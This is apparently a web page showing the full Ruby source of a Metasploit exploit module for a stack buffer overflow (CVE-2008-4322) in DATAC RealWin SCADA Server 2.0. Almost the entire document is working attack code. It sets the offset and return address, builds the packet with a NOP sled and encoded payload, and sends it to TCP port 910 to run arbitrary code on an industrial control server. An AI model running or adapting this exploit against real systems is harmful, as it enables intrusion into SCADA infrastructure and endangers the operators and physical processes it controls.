Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  include Msf::Exploit::Remote::Tcp
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'DATAC RealWin SCADA Server Buffer Overflow',
14
      'Description'    => %q{
15
          This module exploits a stack buffer overflow in DATAC Control
16
        International RealWin SCADA Server 2.0 (Build 6.0.10.37).
17
        By sending a specially crafted FC_INFOTAG/SET_CONTROL packet,
18
        an attacker may be able to execute arbitrary code.
19
      },
20
      'Author'         => [ 'MC' ],
21
      'License'        => MSF_LICENSE,
22
      'References'     =>
23
        [
24
          [ 'CVE', '2008-4322' ],
25
          [ 'OSVDB', '48606' ],
26
          [ 'BID', '31418' ],
27
        ],
28
      'Privileged'     => true,
29
      'DefaultOptions' =>
30
        {
31
          'EXITFUNC' => 'thread',
32
        },
33
      'Payload'        =>
34
        {
35
          'Space'    => 550,
36
          'BadChars' => "\x00\x20\x0a\x0d",
37
          'StackAdjustment' => -3500,
38
        },
39
      'Platform'       => 'win',
40
      'Targets'        =>
41
        [
42
          [ 'Universal', { 'Offset' => 740, 'Ret' => 0x4001e2a9 } ], # Thanks Jacopo!
43
        ],
44
      'DefaultTarget' => 0,
45
      'DisclosureDate' => '2008-09-26'))
46

47
    register_options([Opt::RPORT(910)])
48
  end
49

50
  def exploit
51
    connect
52

53
    data =  [0x67542310].pack('V')
54
    data << [0x00000800].pack('V')
55
    data << [0x000a77e3].pack('V')
56
    data << [0x00040005].pack('V')
57
    data << "\x00\x00"
58
    data << make_nops(target['Offset'])
59
    data << [target.ret].pack('V')
60
    data << [0x00404040].pack('V')
61
    data << payload.encoded
62
    data << make_nops(1024)
63

64
    print_status("Trying target #{target.name}...")
65
    sock.get_once
66
    sock.put(data)
67

68
    handler
69
    disconnect
70
  end
71
end
72

73